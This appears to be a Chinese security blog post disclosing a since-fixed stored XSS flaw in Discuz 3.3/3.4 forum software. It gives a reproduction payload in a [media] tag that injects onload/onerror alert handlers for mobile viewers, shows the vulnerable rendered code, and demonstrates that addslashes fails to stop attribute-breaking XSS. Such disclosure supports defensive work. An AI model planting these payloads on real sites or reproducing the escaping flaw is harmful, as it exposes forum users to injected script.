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          <h1 class="post-title" itemprop="name headline">Disucz正文存储型XSS(2)</h1>
        

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        <p>之前提交到某平台的漏洞，现在已经修复</p>
<h1 id="漏洞证明"><a href="#漏洞证明" class="headerlink" title="漏洞证明"></a>漏洞证明</h1><p>2017.9月份在3.3,3.4最新版测试通过</p>
<p>前提条件:</p>
<ol>
<li>用户组允许使用media标签</li>
<li>非PC端用户(程序会判断UA)</li>
</ol>
<p>复现步骤:<br>0x1. 可以使用media标签的用户发表一篇文章<br>文章内容为<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[media=mp3,200,300]http://www.tudou.com/programs/view/a&apos; onload=alert(1) onerror=alert(1)[/media]</span><br></pre></td></tr></table></figure></p>
<p>0x2. 使用手机，或者使用UA修改工具，修改成移动端头部<br>0x3. 浏览刚发过的帖子，视频加载完毕后，执行onload事件，会弹窗.<br><img src="/blog/img/5.png" alt=""></p>
<h1 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h1><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;span id=&quot;flv_dWh&quot;&gt;&lt;/span&gt;&lt;script type=&quot;text/javascript&quot; reload=&quot;1&quot;&gt;$(&apos;flv_dWh&apos;).innerHTML=(mobileplayer() ? &quot;&lt;iframe height=&apos;300&apos; width=&apos;200&apos; src=&apos;http://www.tudou.com/programs/view/html5embed.action?code=a\\\&apos; onload=alert(1) onerror=alert(1)&apos; frameborder=0 allowfullscreen&gt;&lt;/iframe&gt;&quot; : AC_FL_RunContent(&apos;width&apos;, &apos;200&apos;, &apos;height&apos;, &apos;300&apos;, &apos;allowNetworking&apos;, &apos;internal&apos;, &apos;allowScriptAccess&apos;, &apos;never&apos;, &apos;src&apos;, &apos;http://www.tudou.com/v/a\\\&apos; onload=alert(1) onerror=alert(1)&apos;, &apos;quality&apos;, &apos;high&apos;, &apos;bgcolor&apos;, &apos;#ffffff&apos;, &apos;wmode&apos;, &apos;transparent&apos;, &apos;allowfullscreen&apos;, &apos;true&apos;));&lt;/script&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;</span><br></pre></td></tr></table></figure>
<p>前端页面中有这么一段代码，非PC时，mobileplayer()=true.<br>简化下上面的代码，如下:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$(&apos;flv_dWh&apos;).innerHTML=&quot;&lt;iframe src=&apos;http://www.tudou.com/programs/view/html5embed.action?code=a\\\&apos; onload=alert(1)&quot;</span><br></pre></td></tr></table></figure></p>
<p>其中虽然src属性单引号看似没有闭合，但是实际上浏览器解析时已经闭合了，于是就引入了一个onload属性。</p>
<p>至于后端的代码，在<code>source/function/function_discuzcode.php</code>文件的<code>parseflv</code>函数中下断点可以调试漏洞，这里就不详细说明。</p>
<h1 id="漏洞总结"><a href="#漏洞总结" class="headerlink" title="漏洞总结"></a>漏洞总结</h1><p><code>src=&#39;&lt;?php addslashes(&quot;可控内容&quot;)?&gt;&#39;</code><br>这样是不能防XSS的,用下面这样的代码是可以弹框的。<br><code>&lt;img src=&#39;x\&#39; onerror=alert(1)//&#39;&gt;</code></p>

      
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